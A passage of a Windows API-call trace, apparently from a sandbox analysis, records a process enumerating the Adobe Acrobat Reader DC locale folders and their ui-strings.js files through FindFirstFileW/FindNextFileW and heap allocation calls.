ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.501] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.502] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.502] GetProcessHeap () returned 0xc10000 [0246.502] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.502] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0246.502] GetProcessHeap () returned 0xc10000 [0246.502] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.503] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.504] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.504] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.504] GetProcessHeap () returned 0xc10000 [0246.504] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.504] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0246.504] GetProcessHeap () returned 0xc10000 [0246.504] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0246.505] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.505] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.505] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.505] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0246.505] GetProcessHeap () returned 0xc10000 [0246.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.505] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0246.506] GetProcessHeap () returned 0xc10000 [0246.506] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.509] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.509] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.509] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.509] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.509] GetProcessHeap () returned 0xc10000 [0246.509] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.509] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0246.510] GetProcessHeap () returned 0xc10000 [0246.510] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.510] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.511] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.511] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.511] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.511] GetProcessHeap () returned 0xc10000 [0246.511] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.511] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0246.511] GetProcessHeap () returned 0xc10000 [0246.511] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.511] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.512] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.512] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.512] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.512] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.512] GetProcessHeap () returned 0xc10000 [0246.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.513] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0246.513] GetProcessHeap () returned 0xc10000 [0246.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.514] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.514] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.514] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.514] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.515] GetProcessHeap () returned 0xc10000 [0246.515] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0246.515] GetProcessHeap () returned 0xc10000 [0246.515] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.515] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.516] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.516] GetProcessHeap () returned 0xc10000 [0246.516] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0246.516] GetProcessHeap () returned 0xc10000 [0246.516] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.517] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.517] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 